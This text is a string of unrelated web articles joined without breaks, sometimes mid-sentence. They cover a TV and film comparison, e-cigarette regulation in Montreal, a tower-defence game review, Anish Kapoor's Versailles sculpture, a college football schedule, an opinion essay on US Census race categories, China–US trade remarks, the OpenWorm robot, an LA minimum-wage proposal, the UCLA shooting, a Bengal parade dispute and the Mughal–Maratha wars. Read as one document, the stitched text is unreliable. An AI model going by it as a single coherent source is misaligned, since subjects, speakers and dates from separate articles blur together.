Having the same actors from ‘The Mist’ is one thing, but these are striking story similarities as well. They are probably just a coincidence considering that ‘The Walking Dead’ is primarily following the comic with some changes. Still it is very interesting to see these similarities between the movie and television show. I wonder if we will see even more actors from ‘The Mist’ appear in ‘The Walking Dead’ in the future.
UPDATE : Sam Witwer played Private Jessup in ‘The Mist’ and gets thrown out into the mist to meet his fate by an angry mob after he confesses what he knew about the military experiments. In ‘The Walking Dead’, he plays an uncredited Walker – walker in tank – according to the imdb, in the Pilot episode. The similarity with the characters he played is that they both were killed by the resident monsters in each story.
Copyright, You Don’t Know Jersey, LLC (2010-2017)
about the author: Donald Hanson don@youdontknowjersey.comMontreal public health is calling for more regulations surrounding e-cigarettes.
The agency has released five different recommendations for law makers.
E-cigarettes, which are unregulated in Canada, are increasingly popular among smokers trying to quit.
But critics say the lack of control mean that e-cigarettes risk introducing a new generation of young people to smoking, when little is known about the long-term health impact of the products.
The recommended sanctions include:
Marketing e-cigarettes as a Canadian tobacco product.
Set standards for minimum quality to make the cigarettes as safe as possible.
Making e-cigarettes subject to the Tobacco Act, adding limitations for advertising and sponsorship.
Only recommending e-cigarettes as an aid for quitting smoking under the supervision of a doctor.
Making e-cigarettes available for smokers trying to quit before making them available to everyone else in Canada.
Executive director of Physicians for a Smoke Free Canada Cynthia Callard said the recommendations are in line with many of their concerns.
"The potential benefits of these products, that I think are widely acknowledged, are not realized and the downfalls are exacerbated. It's just a poor strategy," she said.
She said e-cigarettes are a real option for people who want to stop smoking, but more needs to be done to prevent them from drawing in non-smokers.It would seem the latest effort from Futuremark Game Studios is quite a departure from their previous releases. Rather than another attempt to take on the big names in the PC FPS arena or make a second casual title for iOS, Futuremark have produced Unstoppable Gorg, a multi-platform tower defence game IN SPACE.
Unstoppable Gorg is the video game that Ed Wood never made—everything from the terrible special effects and overuse of stock footage to the over-the-top scenery chewing by the cast give this game a genuinely campy, 50’s B-movie feel that’s just a ton of fun. The story, such as it is, is a surprisingly straightforward affair. Planet X has been discovered beyond Neptune and its inhabitants have lost no time in launching an armada against mankind. The player takes on the mantel of Captain Adam Huxley to lead humanity in the fight with the alien menace.
On a gameplay level Unstoppable Gorg is fairly typical of the tower defence genre, with the player selecting from the 18 offensive or support towers to defend against waves of incoming enemies—but where it deviates from the conventional is in the tower placement. Around all of the objectives needing to be defended, there are a number of concentric rings or ‘orbits’, each with a limited number of fixed positions around the circumference of the orbit where ‘satellites’ can be placed. The revolutionary part of Unstoppable Gorg is that the player revolves (get it? ha!) these orbits in order to counter a new threat or to keep pounding away at an enemy that would otherwise escape. This aspect is especially important, and a core strategy, as the heavily restricted number of satellites combined with the creeps’ ability to attack from any direction force the player to make every weapon count—a static defence is no defence at all. Situational awareness is key when rotating an orbit, as keeping one enemy in range could well result in the player moving another turret out of a strategic choke point or put a vital generator at risk.
As well as the usual guns, cannons, and resource generators, the player must also construct research stations to earn upgrade tokens. These tokens are required to unlock upgrades to your satellites, and so failing to acquire them early will make the later levels quite a bit harder. The upgrade system itself is novel, as ‘using’ tokens only unlocks possible upgrades for the duration of the level, and after its completion expended tokens are returned to the player to be reused in subsequent levels. This gives the player a great deal of flexibilty in planning for each mission and encourages experimentation with the different satellites and their individual upgrade options.
Also unlocked by playing through the story mission are the Challenge and Arcade game modes. As you might imagine, challenge missions are more difficult versions of those completed in the story mode—with various modifiers on enemies, towers, orbits and objectives to really test the player. These missions are unlocked in a similar manner to the acquisition of research tokens, but by accumulating money rather than research. The Arcade mode is a survival game with never-ending waves of creeps attacking an objective defended by any of the tower types you have unlocked through progression in the story mode.
Another change from the usual tower defense formula is in the enemy creeps. Although they come in the standard flavours of small and fast/slow and tough, they cannot be funneled around a maze of towers. Instead, they unerringly follow one of several unblockable routes indicated to the player by a dashed line in the relevant faction’s colour. Creeps will also fire back at the players towers, making it vital to use the orbit rotation mechanic to keep your vulnerable resource generators out of harm’s way. Another interesting feature is the in-game encyclopedia, which records the various types of enemies encountered, along with their relative strengths and weaknesses, allowing the player to plan what weapons to deploy for maximal effect.
So is it worth picking up? Undoubtedly, although the B-movie parody is the highlight of this production, Futuremark seem to understand they can’t make a game from that alone. A good game needs solid gameplay and Unstoppable Gorg delivers a competent if unspectacular result on that front. Despite Futuremark’s changes this doesn’t stray far from the tower defense formula. It’s perhaps not the most original gameplay out there, but it is polished to perfection—and in combination with all that delicious 50’s sci-fi cheese, Unstoppable Gorg is a very entertaining game.
You can pick up Unstoppable Gorg for $9.99 on PC/Mac via Steam or for $4.99 for iPad through the App store. An Xbox Live Arcade version is in the pipeline.British-Indian sculptor Anish Kapoor landed in controversy in France after he installed a huge work he called a "queen's vagina" in the stately grounds of the Palace of Versailles.
The 60-metre (200-foot) long, 10-metre (33-foot) high steel-and-rock abstract sculpture, resembling a funnel in the form of an orifice, was set up in the garden aimed directly at the royal chateau, attracting about five million tourists a year.
Kapoor, 61, has titled the work Dirty Corner, which was part of an exhibition of his work in the grounds of the 17th century palace that opened on Tuesday and would run until November.
The artist told French newspaper Le Journal du Dimanche a week ago that Dirty Corner was meant to be blatantly sexual -- and regal.
It was, he said, "the vagina of a queen who is taking power".
He didn't say which queen he had in mind, but added that while the work was "ambitious", it was not so over-the-top as the scale of the opulent Versailles.
Strong controversy
Inside the palace itself is a smaller work -- a canon that fired red wax at white walls in a symbol of phallus and ejaculation of blood.
Some French media outlets expressed unease at the level of provocation unleashed by Kapoor.
"Anish Kapoor provokes a scandal," said the website of radio station Europe 1.
The conservative daily Le Figaro saw the work as an effort "to use Versailles as an object of contrast between two types of art": the contemporary style of Kapoor and the centuries-old elegance of the French court.
Others came running to the artist's defence. Les Inrocks, a youth pop culture magazine, said only a "fascist" circle of commentators was against the sculpture.
Not problematic, says artist
At a media conference on June 5, the artist stepped away from his description of the work on the lawns of Versailles as "the queen's vagina".
Artist Anish Kapoor says it is not problematic since sexual organs are universal (AP Photo)
"I don't remember saying it," Kapoor told reporters, but admitted that he had used the word vaginas to describe parts of the exhibition.
In any case, he said, "I don't see why it's problematic", sexual organs being universal.
"The point is to create a dialogue between these great gardens and the sculptures," he said.
The French official in charge of Versailles, Catherine Pegard, said that what was of interest to Kapoor was "the hidden chaos" of the
gardens designed by Andre Le Notre, the 17th century landscape architect who designed its strict lines.
The man in charge of the exhibition, Alfred Pacquement, said the gardens formed a contrasting background for Kapoor's work.
"The dark cavity is an ever-present theme in Kapoor's work," Pacquement said.
"He brings out contradiction with perspective, upending its (the garden's) order" while taking into account the large scale of Versailles.
Kapoor's exhibition is one of the most complex at Versailles since the authorities in 2008 opened the palace and its grounds to contemporary artists.
In 2008, Versailles hosted works by the American artist Jeff Koons, and in 2010 by Japanese artist Takashi Murakami.
First Published: Jun 08, 2015 10:13 ISTFORT COLLINS, Colo.—Colorado State’s Oct. 1 Border War football game against Wyoming will kick off at 8:15 p.m. MT and be televised on ESPNU, it was announced Monday.
The Rams (2-1) will host the Cowboys (2-1) for the final time at Hughes Stadium before moving into their new on-campus stadium in 2017. It will be the 25th Border War played at Hughes Stadium, in a series that began unofficially in 1899 and spans 106 games. The Rams lead the overall series 57-44-5, including a 13-11 advantage over the Cowboys at Hughes Stadium.
Colorado State’s game this Saturday, Sept. 24, at Minnesota will be televised on ESPNU at 10 a.m. MT, the first of five Rams games in 2016 to be televised on the networks of ESPN. Other ESPN Networks games for CSU include Oct. 15 at Boise State, Nov. 12 at Air Force and Nov. 19 vs. New Mexico. In addition, the Dec. 3 MW Championship Game will be televised on either ESPN or ESPN2. All five of CSU’s other remaining games are scheduled to be televised by ROOT Sports (2) or CBS Sports Network (2).
Tickets for Colorado State’s final four home games of the Farewell Hughes season are available online at CSURams.com/tickets, by phone at 800-491-RAMS (7267) or in person at the McGraw Center Ticket Office or the Ram Zone retail outlet in Old Town Fort Collins (172 N. College Ave., 80524).
The CSU Athletics Department is encouraging fans to share their Hughes Stadium memories and interact with one another on social media all season long using #FarewellHughes in their posts. Experience the history of the off-campus venue that opened in 1968 by visiting the special Farewell Hughes website at CSURams.com/farewellhughes for historical timelines, photos, videos, music playlists for each decade and much more.Last week, Tucker Carlson asked Univision correspondent Jorge Ramos about earlier comments in which Ramos contended that "in 2044, the white population will become a minority."
In response, some conservative sites seized upon Ramos's comments as an attempt to milk outrage from their readers.
Breitbart, for instance focused on Ramos's comment that “it is our country, not theirs.” and implied — in words meant to be received ominously by the reader — that by "our country," he meant "Latino migrants."
Ramos, meanwhile, was clearly using these words to attempt to stir up anti-Trump opposition based on triumphalist predictions of an imagined future of Latino nationalism.
Wherever one comes down on this issue, however, it needs to be pointed out that both sides are abusing and distorting already-questionable information collected and published by a US government agency. Whether or not one views predicted demographic trends with glee or with dread, the fact remains that predictions of a looming "white minority" are largely the artifact of the way government data is collected and compiled.
I'll leave it to others to debate the importance — or lack thereof — of a white majority. The example is useful, however, because it serves as an excellent illustration of how government data, surveys, and reports can greatly distort how we view reality and those around us.
The Invented Category Known as "Hispanics"
Prior to the 1970s, the government in the United States engaged in no systematic counting of people now categorized as Hispanics. Except for a one-time inclusion of a "Mexican" race category on the 1930 Census form, there was no special Census category for people with roots in Spanish-speaking countries until 1970. ("Mexican," by the way, is no more a racial category than is "Canadian" or "Texan.")
As the Pew Research Center notes, it was only in 1970 that the federal government decided it was necessary to begin keeping track of a "person's origin" with a list of categories limited to Latin American and Caribbean places including "Puerto Rico," "Mexico," and others. Only on the 1980 Census did the term "Hispanic" begin to appear, and only during the 1990s did the now-common formula of indicating both Hispanic origin and race appear. In this latter formula, someone who wishes to be identified as Hispanic, must choose "Hispanic" and then next is prompted to select a race. By 1990, the Census Bureau finally figured out that "Hispanic" is not a racial designation. The 1990 Census was also the first to introduce the term "Latino."
Prior to 1970, though, "Hispanic" and "Latino" were by no means formal terms on which to base public policy or any sort of serious sociological endeavor. Mexican-Americans, who made up the largest Hispanic group at the time, commonly identified themselves simply as "Caucasian" which was more commonly used than "white" at the time. (Thus, there's reason to believe that older counts of the "white" population in places like California and New Mexico inflate the number of non-Hispanic whites present.)
For a variety of political reasons — including the potential to expand government largesse — government agencies invented the new category and began to shoehorn a variety of different cultural and national groups into it. If one really wished to learn something about socio-economic realities, it would obviously be absurd to include an ethnic Italian from Buenos Aires and someone from an Indian village in Chiapas into the same group. But that's what the Census Bureau in its wisdom has decided is the correct way to categorize people. Moreover, in the context of American interest groups, discussing both Cuban-Americans and Mexican-Americans as a single group which must share common interests is beyond useless and misleading.
Thirty years later, this method of classifying Americans into certain groups has thoroughly re-shaped the way Americans look at the world. It has led to millions of Americans of different cultural, racial, and ethnic backgrounds being lumped into a single group that has little relation to how those same people would have classified themselves in the absence of this newly-invented government category.
This could have been just as easily done for Americans of Middle-Eastern or Eastern-European extraction. And had the Census Bureau done so, we'd have additional categories of "non-whites" whose "minority" status means little outside a little checked box on a form.
The hamfisted nature of the Hispanic classification is sometimes painfully obvious.
In Tucker Carlson's interview with Jorge Ramos, for example, Carlson said to Ramos: “Let me just point out that you are white, obviously, you are whiter than I am. You’ve got blue eyes. I don’t know exactly what you mean by white or Latino.”
It becomes clear over the course of the interview that Ramos doesn't know what he means by white either. And yes, Ramos is a white person of largely European ancestry.
The Census Bureau Seeks to Maximize its Count of Non-Whites
Moreover, if Ramos were to actually read the Census Report he likes to cite (found here) he'd realize his predictions of a white minority are based on numbers that exclude the 52 percent of Hispanics that — like Ramos — are white people according ot the Census itself.
As a result, out of the 50 million people in the 2010 Census who were classified as Hispanic (which is not a racial designation), 26 million of those also listed themselves as white. Thus, in order to arrive at a total number of white people, we must add together the total for "non-Hispanic whites" and the total number of white Hispanics.
In the 2010 Census, this brings us to a total of 223 million whites out of a total of 308 million people counted in the 2010 Census. That's 72 percent of the population.
In the Census Report Ramos is citing, however, the prediction of a white minority by 2044 relies on the artificially restrictive definition of whites as only non-Hispanic whites. This conveniently erases 26 million people who called themselves white in the Census. Were those people counted, the numbers would look a lot different.
At the same time, all of this erases the realities of intermarriage and the fact that the definition of "white" is extremely malleable.
One-hundred-and-fifty years ago, for example, the Irish in the United States were often referred to as "below the Anglo-Saxons and just above the Negro." In other words, they were anything but "white." Italian-Americans, of course, were too once considered to be sub-human.
Fortunately, the Census Bureau did not invent new racial and ethnic categories for these people, so they never had the opportunity to achieve a special government designation as being "non-white." Today, of course, people with last names like Kennedy, Cuomo, and, Scalia are regarded as members of the Oppressor Class.
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Chinese premier says foreign companies stand to lose the most from any battle between the world’s two largest economies
China’s premier Li Keqiang has cautioned Donald Trump against locking horns with Beijing over trade ahead of a hotly anticipated meeting between the United States president and Chinese leader Xi Jinping next month.
Xi and Trump, who has labelled Beijing a US “enemy” and threatened to slap hefty tariffs on Chinese imports, are widely expected to hold a two-day summit at Trump’s exclusive Mar-a-Lago resort on 6-7 April.
Donald Trump and China on dangerous collision course, say experts Read more
The world’s two most powerful men face a complex and potentially acrimonious range of discussions, including the escalating crisis on the Korean peninsular, the deployment of a controversial US missile defence system in South Korea and the thorny trade relationship between the US and China.
Speaking on Wednesday on the final day of the national people’s congress, China’s annual rubber-stamp parliament, Li stopped short of confirming the Trump-Xi summit saying only that Chinese and American diplomats were working towards a face-to-face meeting.
The Chinese premier said his country’s leadership now felt optimistic that the future of US-China relations was “bright”.
“This relationship is crucial not just for China and the US but also for regional and global peace and security,” he said.
But Li warned the White House that it would be ill-advised to kick off a trade war with Beijing.
“We don’t want to see any trade war breaking out,” Li told journalists at a heavily-scripted press conference in the Great Hall of the People marking the end of the two-week political summit. “That would not make trade fairer.”
Foreign companies stood to lose the most from any such battle between the world’s two largest economies, Li warned.
Before his shock election Trump repeatedly signalled he would take a hard-line with Beijing on issues ranging from trade to the South China Sea.
He has accused Beijing of being the world’s greatest currency manipulator and during his campaign vowed to slap 45% tariffs on Chinese imports, a move China has warned would trigger a damaging trade war.
Several senior members of Trump’s team, including strategic advisor Steve Bannon and the head of the newly created national trade council, Peter Navarro, are known for their hostility to China.
In his campaign manifesto, Make America Great Again, Trump wrote: “We need to pay special attention to the Chinese. Their days of undercutting us with protectionist policies and cyber-theft are over.”
However, in recent weeks Trump’s tone has mellowed following a series of exchanges between Chinese officials and his team, including a visit to the Chinese embassy in Washington by his daughter Ivanka Trump and Mandarin-learning granddaughter.
Trump’s son-in-law, Jared Kushner, is understood to have emerged as a key interlocutor for the Chinese, maintaining regular contact with Cui Tiankai, China’s ambassador in Washington.
During an “extremely cordial” phone call with Xi last month Trump indicated that he would not challenge Beijing over Taiwan, a self-ruled island that China claims as its own.
Even so uncertainty continues to surround Trump’s precise plans for the relationship with Beijing.
Navarro, Trump’s commerce chief, told the New York Times the White House’s China policy remained “top secret”.
Speaking on Wednesday, Li said it was time for the two countries to sit down and discuss their differences. Problems that could not be solved should be shelved, he said.
“China hopes that no matter what bumps this relationship may encounter it will continue to forge in the right direction,” Li added.Beneath the skin of a simple worm with transparent skin, there are 302 neurons that have been mapped meticulously by researchers in what is known as a connectome. This tiny, one millimeter-long worm has been studied in laboratories around the world, and now it's nervous system has been transplanted into the body of a Lego Mindstorms EV3 robot. The worm they used is Caenorhabditis elegans (C. elegans).
Why? According to OpenWorm—an organization dedicated to creating the world’s first virtual organism in a computer—to understand the human brain, we must first be able to comprehend a simple worm. To do so, their scientists essentially reverse-engineered the worm’s neural networks using sensors and software. The model makes use of UDP packets to fire neurons. For example, the sonar sensor on the robot is wired to be like the worm’s nose, which means if the robot comes within 20 centimeters of an object, sensory neurons are activated with UDP packets.
Apparently, the robot acts a lot like C. elegans: Stimulation of its nose made it stop moving, while touching a food sensor made it move forward. “What we found is that rather than just random, crazy movements by the robot, it actually responded to its environment in the same manner as the biological worm,” said Timothy Busbice, one of the founders of the OpenWorm project, to Gizmodo.
C. elegans anatomy. KDS444, modified by Nnemo / Wikimedia Commons
Busbice has posted a video of the accomplishment to Youtube. While the Lego Robot can’t wriggle like a worm and the video is not exactly thrilling to watch, it is interesting to see what can be achieved in a robot with no instructions programmed into it.
“The key point is that there was no programming or learning involved to create the behaviors,” said Lucy Black for I Programmer. “The connectome of the worm was mapped and implemented as a software system and the behaviors emerge.”
The simulation is not perfect quite yet. According to the Smithsonian, the program has some simplifications on the thresholds needed to trigger the so-called neuron firing. For more detailed information on the robotic worm, read the article written by Busbice for Radar.
[Hat Tip: Smithsonian Magazine]Between Bill de Blasio's mayoral landslide in New York, last week's anniversary of the War on Poverty, and the GOP's discovery of the poor, income inequality is the talk of the season—and Los Angeles is about to join, if not lead, the conversation. Later this month, two City Council members will introduce a motion to raise the minimum wage to a nation-leading $15.37 an hour for hotel workers—nearly double the California minimum wage of $8. Granted, that record-setting wage would apply only to one industry in one city, but unlike many of the other populist proposals making headlines, L.A.’s targeted strike against economic inequality might actually pass.
Once famed as a bastion of anti-unionism and bald-faced business rule, the city is now governed by a Democratic super-majority that is largely sympathetic to a seasoned and influential progressive movement. The hospitality industry is profitable and growing, can’t outsource, and has no interest in relocating. (After all, it doesn’t take a polar vortex to draw tens of millions of tourists to L.A. each year.) Should it pass, the minimum-wage measure would immediately put roughly $73 million into the pockets of working people—and could provide a blueprint for liberal strongholds across the country. “As a large city, success here would get the attention of the whole nation," says Maria Elena Durazo, head of the 600,000-member Los Angeles County Federation of Labor, which is spearheading the proposal with the local hotel workers’ union, UNITE HERE. Failure, on the other hand, would throw cold water on a populist movement just as it's gaining momentum.
Los Angeles just might be the most promising laboratory at the moment to test solutions to America’s inequality crisis. In New York, the fate of de Blasio’s big populist idea—taxing the rich to pay for universal pre-K—rests with an unenthusiastic governor, Andrew Cuomo, who has national ambitions. Raising the federal minimum wage, funding universal pre-K, or guaranteeing equal pay for women, as President Barack Obama has called for, requires a cooperative GOP in the House. So much for that. And while strikes by Walmart employees and fast-food workers betoken a new mood among low-wage workers, many tough years of organizing lie ahead for this nascent grassroots movement.
In contrast to New York, L.A.’s populist moment has been long in the making. Whereas de Blasio's election was seen by many as a repudiation of his predecessor, Michael Bloomberg, L.A.'s minimum-wage measure is not just an extension of the progressive policies enacted by the city’s previous mayor, one-time labor organizer Antonio Villaraigosa, but the culmination of two decades of progressive labor and immigrant-led organizing. The movement gained traction in the 1990s, when California’s GOP embraced nativism and L.A.’s centrist Republican Mayor Richard Riordan contracted out city union jobs. The two-pronged attack motivated Latinos to become citizens, to vote, and to join unions. California quickly turned blue in a labor-led backlash against 1994’s anti-immigrant Prop 187.The Los Angeles Police Department has identified the gunman who shot a professor at the campus of the University of California Los Angeles. Mainak Sarkar, an Indian doctoral student in mechanical engineering, killed his professor William Klug on Wednesday before turning the gun on himself in an incident that sent shockwaves throughout the campus. LA police chief said that the woman on the 'kill list' in UCLA shooter's home was found dead in Minnesota. According to The Los Angeles Times, Sarkar had previously claimed in a blog post that Klug had stolen his code and given it to another student.
The Los Angeles Times quoted from a post on Sarkar’s blog in which he called Klug a “very sick person” and warned incoming students to not interact with him as he was not trustworthy. “Stay away from this sick guy,” he wrote. Sarkar had completed his PhD under Klug in 2011. However, other university sources told The Los Angeles Times that Sarkar’s allegations were totally false.
Sarkar did not attack anyone else, reported NBC Los Angeles, adding that LAPD revealed that a note had been found with the two bodies in the site of the murder-suicide: an office in the engineering building. However, they are yet to provide any details or confirm that it was a suicide note.
According to Sarkar’s LinkedIn page, he graduated from IIT Kharagpur with a degree in aerospace engineering in 2000. He then got a master’s degree in aeronautics and astronautics from Stanford University in 2005 before completing his PhD in mechanical engineering from UCLA.
Meanwhile, students and faculty at the engineering department were yet to come to grips with the loss of Klug. They lamented the death of a professor who worked on computer models of the human heart who was also a doting father who coached his young son's baseball team. "Bill was an absolutely wonderful man, just the nicest guy you would ever want to meet," said a collaborator, UCLA Professor Alan Garfinkel. "Devoted family man, superb mentor and teacher to so many students. He was my close colleague and friend. Our research together was to build a computer model of the heart, a 50 million variable 'virtual heart' that could be used to test drugs."
Peter Gianusso, who headed the El Segundo Little League where Klug coached, said he "exemplified what Little League was all about: character, courage and loyalty."
"He had a special relationship with his son through baseball, was a great coach, spent countless hours on the field with the boys and girls of El Segundo Little League," Gianusso said.
The incident prompted a campus-wide lockdown as hundreds of officers and tactical response teams as well as federal agents rushed to the university, where students are preparing for final exams.
All university classes were cancelled for the day. The lockdown was lifted shortly after noon on Wednesday.
Scott Waugh, the university's vice chancellor and provost, said classes would resume as normal on Thursday and next week's final exams would not be disrupted.
He said counselling services were also being made available to the 40,000 students enrolled at the campus as well as faculty and staff. "We want to resume normal operations as quickly as possible," Waugh said. "Faculty, staff and students should show up tomorrow and go through their regular routines and complete the quarter as planned."
Students recounted scenes of panic after the alert was raised by the university, with many barricading themselves in classrooms or hiding in dorms. "We were in the middle of class when we got (a text alert) and the professor just told us to lock the door really quickly and not to make any noise," said Ricky, a student who did not want his last name to be used.
Many students and staff could be seen walking out of buildings with their arms raised. Others knelt down on sidewalks as officers patted them down for possible weapons. A nearby elementary school and a middle school were also put on lockdown.
The White House said President Barack Obama was notified of the shooting and had asked his team to keep him updated on the situation.
With inputs from agencies
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.West Bengal state Chief Minister Mamata Banerjee greets the crowd as she arrives to attend the Republic Day parade in Kolkata. (Associated Press photo)
The Mamata Banerjee government in Bengal fumed about being left out of the Republic Day parade watched by Chief Guest US President Barack Obama today."Bengal tableaux for Republic Day depicting path-breaking Kanya Shree initiative was not allowed. We repeatedly requested... Life goes on (sic)," tweeted Derek O'Brien, a parliamentarian of the state's ruling Trinamool Congress."We are very sad and disappointed," he told reporters.Bengal officials claim that the tableau was rejected at the last minute. Its "Kanya Shree" theme on welfare programmes for the girl child was reportedly found similar to the central government's tableau on "Beti Bachao, Beti Padhao (save your daughters, educate your daughters)", the scheme launched by Prime Minister Narendra Modi last week.The defence ministry, which organizes the annual parade, reportedly told Bengal that a state tableau should give a broad picture of its culture, economy and history and not focus on just one scheme.Chief Minister Mamata Banerjee, who has a running feud with the ruling BJP at the Centre, reportedly decided against sending a new proposal.The other states that were missing include Bihar, Tamil Nadu, Odisha, Kerala, Punjab, Delhi and Nagaland."It is unfortunate that some political parties are making political statements on this auspicious day. There is no scope for politics in this. The decision was taken many days ago," said the BJP's GVL Narasimha Rao.Bengal had won the best tableau award at last year's Republic Day parade. President Obama and Michelle Obama watched the parade today at Rajpath with President Pranab Mukherjee and PM Modi.The Mughal–Maratha Wars, also called the Maratha War of Independence, were fought between the Maratha Empire and the Mughal Empire from 1680 to 1707. The Deccan Wars started in 1680 with the Mughal emperor Aurangzeb’s invasion of the Maratha enclave in Bijapur established by Chatrapati Shivaji.
Marathas under Sambhaji (1681–1689) [ edit ]
Sambhaji led the Marathas for the first nine years of the Deccan Wars.
In the first half of 1681, many Mughal contingents were dispatched to lay siege to Maratha forts in present-day Gujarat, Maharashtra, Karnataka, and Madhya Pradesh. Sambhaji provided shelter to the emperor's rebel son Sultan Muhammad Akbar, which angered Aurangzeb.[4] In September 1681, after settling his dispute with the royal house of Mewar, Aurangzeb began his journey to Deccan to conquer the relatively young Maratha Empire. He arrived at Aurangabad, the Mughal headquarters in the Deccan and made it his capital. Mughal contingents in the region numbered about 500,000.[citation needed] It was a disproportionate war in all senses. By the end of 1681, the Mughal forces had laid siege to Fort Ramsej. But the Marathas did not succumb to this onslaught. The attack was well received and it took the Mughals seven years to take the fort.[5] In December 1681, Sambhaji attacked Janjira, but his first attempt failed. At the same time one of the Aurangzeb’s generals, Husain Ali Khan, attacked Northern Konkan. Sambhaji left Janjira and attacked Husain Ali Khan and pushed him back to Ahmednagar. Aurangzeb tried to sign a deal with the Portuguese to allow trade ships to harbour in Goa. This would have allowed him to open another supply route to Deccan via the sea. This news reached Sambhaji. He attacked the Portuguese territories and forced them back to the Goan coast. But the viceroy of Alvor was able to defend the Portuguese headquarters. By this time the huge Mughal army had started gathering on the borders of Deccan. It was clear that southern India was headed for a large, sustained conflict.[5]
In late 1683, Aurangzeb moved to Ahmednagar. He divided his forces in two and put his two princes, Shah Alam and Azam Shah, in charge of each division. Shah Alam was to attack South Konkan via the Karnataka border while Azam Shah would attack Khandesh and northern Maratha territory. Using a pincer strategy, these two divisions planned to encircle Marathas from the south and north to isolate them. The beginning went quite well. Shah Alam crossed the Krishna river and entered Belgaum. From there he entered Goa and started marching north via Konkan.[5] As he pushed further, he was continuously harassed by Marathas forces. They ransacked his supply chains and reduced his forces to starvation. Finally Aurangzeb sent Ruhulla Khan to his rescue and brought him back to Ahmednagar. The first pincer attempt failed.[5]
After the 1684 monsoon, Aurangzeb’s other general Shahbuddin Khan directly attacked the Maratha capital, Raigad. Maratha commanders successfully defended Raigad. Aurangzeb sent Khan Jehan to help, but Hambirao Mohite, commander-in-chief of the Maratha army, defeated him in a fierce battle at Patadi.[5] The second division of the Maratha army attacked Shahbuddin Khan at Pachad, inflicting heavy losses on the Mughal army.[5]
In early 1685, Shah Alam attacked south again via the Gokak-Dharwar route, but Sambhaji’s forces harassed him continuously on the way and finally he had to give up and thus failed to close the loop a second time. In April 1685, Aurangzeb changed his strategy. He planned to consolidate his power in the south by undertaking expeditions to the Muslim kingdoms of Golkonda and Bijapur. Both of them were allies of Marathas and Aurangzeb was not fond of them. He broke his treaties with both kingdoms, attacked them and captured them by September 1686.[5] Taking this opportunity, Marathas launched an offensive on the North coast and attacked Bharuch. They were able to evade the Mughal army sent their way and came back with minimum damage. Marathas tried to win Mysore through diplomacy. Sardar Kesopant Pingle was running negotiations, but the fall of Bijapur to the Mughals turned the tides and Mysore was reluctant to join Marathas. Sambhaji successfully courted several Bijapur sardars to join the Maratha army.[5]
Sambhaji led the fight but was captured by the Mughals and killed. His wife and son (Shivaji's grandson) were held captive by Aurangzeb for twenty years.[5]
Execution of Sambhaji [ edit ]
Stone arch at Tulapur confluence where Sambhaji was executed.
After the fall of Bijapur and Golkonda, Aurangzeb turned his attention again to the Marathas but his first few attempts had little impact. In January 1688, Sambhaji called together his commanders for a strategic meeting at Sangameshwar in Konkan to decide on the final blow to oust Aurangzeb from the Deccan. To execute the decision of the meeting quickly, Sambhaji sent ahead most of his comrades and stayed back with a few of his trustworthy men, including Kavi Kalash. Ganoji Shirke, one of Sambhaji's brothers-in-law, turned traitor and helped Aurangzeb's commander Muqarrab Khan to locate, reach and attack Sangameshwar while Sambhaji was still there. The relatively small Maratha force fought back although they were surrounded from all sides. Sambhaji was captured on 1 February 1689 and a subsequent rescue attempt by the Marathas was repelled on 11 March. He refused to bow down to Aurangzeb, so he was beheaded.[6]
According to John F. Richards, however, Sambhaji was executed for killing and capturing Muslims.[7] The ulema of the Mughal Empire sentenced Sambhaji to death for his atrocities.[7]
Marathas under King Rajaram (1689 to 1700) [ edit ]
To Aurangzeb, the Marathas seemed all but dead by end of 1689. But this would prove to be almost a fatal blunder. The death of Sambhaji had rekindled the spirit of the Maratha forces, which made Aurangzeb's mission impossible. Sambhaji's younger brother Rajaram was now given the title of Chhatrapati (Emperor).[8] In March 1690, the Maratha commanders, under the leadership of Santaji Ghorpade launched the single most daring attack on Mughal army. They not only attacked the army, but sacked the tent where the Aurangzeb himself slept. Luckily Aurangzeb was elsewhere but his private force and many of his bodyguards were killed. However, this was followed by a betrayal in the Maratha camp. Raigad fell to the treachery of Suryaji Pisal. Sambhaji’s queen, Yesubai and their son, Shahu I, were captured.[5]
Mughal forces, led by Zulfikar Khan, continued this offensive further south. They attacked fort Panhala. The Maratha killedar of Panhala gallantly defended the fort and inflicted heavy losses on Mughal army. Finally Aurangzeb himself had to come and Panhala was surrendered.[5]
Maratha capital moved to Jinji [ edit ]
Maratha ministers realised that the Mughals would move on Vishalgad. They insisted that Rajaram leave Vishalgad for Senji (Gingee) (in present Tamil Nadu), which had been captured by Shivaji during his southern conquests and was now to be the new Maratha capital. Rajaram travelled south under escort of Khando Ballal and his men.[9]
Aurangzeb was frustrated with Rajaram’s successful escape. Keeping most of his force in Maharashtra, he sent a small number to keep Rajaram in check. This small force was destroyed by an attack from two Maratha generals, Santaji Ghorpade and Dhanaji Jadhav, who then they joined Ramchandra Bavadekar in Deccan. Bavdekar, Vithoji Chavan and Raghuji Bhosale had reorganised most of the Maratha army after defeats at Panhala and Vishalgad.[5]
In late 1691, Bavdekar, Pralhad Niraji, Santaji, Dhanaji and several Maratha sardars met in the Maval region and reformed the strategy. Aurangzeb had taken four major forts in Sahyadrais and was sending Zulfikar khan to subdue the fort Ginjee. So according to new Maratha plan, Santaji and Dhanaji would launch offensives in the East to keep rest of the Mughal forces scattered. Others would focus in Maharashtra and would attack a series of forts around southern Maharashtra and northern Karnataka to divide Mughal won territories in two, thereby posing significant challenge to enemy supply chains. Having a strong navy established by Shivaji, the Marathas could now extend this divide into the sea, checking any supply routes from Surat to south.[5]
Now war was fought from the Malwa plateau to the east coast. Such was the strategy of Maratha commanders to counter the might of the Mughals. Maratha generals Ramchandrapant Amatya and Shankaraji Niraji maintained the Maratha stronghold in the rugged terrains of Sahyadri.[5]
In several brilliant cavalry movements, Santaji Ghorpade and Dhanaji Jadhav defeated the Mughals. Their offensive, and especially that of Santaji, struck terror into the hearts of the Mughals. In the Battle of Athani, Santaji defeated Kasim Khan, a noted Mughal general.[5]
Fall of Jinji (Jan 1698) [ edit ]
Aurangzeb by now had realised that the war he had started was much more serious than he had originally thought. He decided to regroup his forces and rethink his strategy. He sent an ultimatum to Zulfikar Khan to capture Jinji or be stripped of the titles. Zulfikar Khan tightened the Siege, but Rajaram escaped and was safely escorted to Deccan by Dhanaji Jadhav and the Shirke brothers. Haraji Mahadik’s son took command of Jinji and bravely defended the city against Julfikar Khan and Daud Khan until its fall in January 1698. This gave Rajaram ample amount of time to reach Vishalgad.[5]
